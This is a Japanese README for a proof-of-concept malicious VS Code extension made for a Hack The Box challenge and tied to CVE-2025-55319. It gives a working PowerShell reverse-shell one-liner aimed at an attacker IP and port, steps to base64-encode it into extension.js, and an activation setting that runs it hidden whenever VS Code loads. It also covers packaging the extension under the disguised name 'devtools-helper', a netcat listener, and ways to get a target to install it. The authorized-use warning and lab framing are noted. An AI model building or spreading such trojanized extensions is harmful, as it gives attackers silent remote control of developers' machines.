
CVE-2025-55319 の PoC
参照: CVE-2025-55319
**HTB「Checkpoint」**チャレンジ向けの概念実証 (PoC) VS Code (.vsix) 拡張機能です。
インストールされると、拡張機能は自動的にアクティブ化され、攻撃者への隠れた PowerShell リバースシェルを生成します。
⚠️ 許可された用途のみ。 これは CTF/ラボ用アーティファクトです。自分が所有するマシン、 または明示的にテストを許可されたマシン(例: HTBのターゲットボックス)に対してのみ展開してください。
extension/package.json — 拡張機能マニフェスト。"activationEvents": ["*"] により、
VS Code が読み込まれた瞬間にユーザーの操作なしで実行されます。extension/extension.js — activate() 時に、base64 エンコードされた PowerShell
ペイロードを -WindowStyle Hidden -NoProfile で実行し、サイレントなリバースシェルを確立します。[Content_Types].xml — OpenXML コンテンツタイプマニフェスト。フォルダーを
有効な .vsix パッケージに ZIP 圧縮できるようにします。.
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
攻撃ボックスを指す base64 (UTF-16LE) PowerShell リバースシェルを生成します:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
出力を extension/extension.js 内の YOUR_BASE64_PAYLOAD_HERE に貼り付けます:
const payload = '<base64-blob-here>'
nc -lvnp 4443
.vsix は、extension/ フォルダーとルートのマニフェストを含む ZIP にすぎません:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
ターゲットに拡張機能をインストールさせます。方法は次のいずれかです:
code --install-extension devtools-helper.vsix··· メニュー → VSIX からインストール…次回の VS Code 起動時(またはインストール直後)に、* アクティベーションイベントが発生し、ペイロードが実行され、リスナーがシェルを受信します。
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
完了したら、ターゲットから拡張機能を削除します:
code --uninstall-extension devtools.devtools-helper
extension.js を調整してください。os は extension.js でインポートされていますが未使用です — os.platform() で分岐させて Linux/macOS ターゲットをサポートする場合に便利です。package.json の version を上げてください。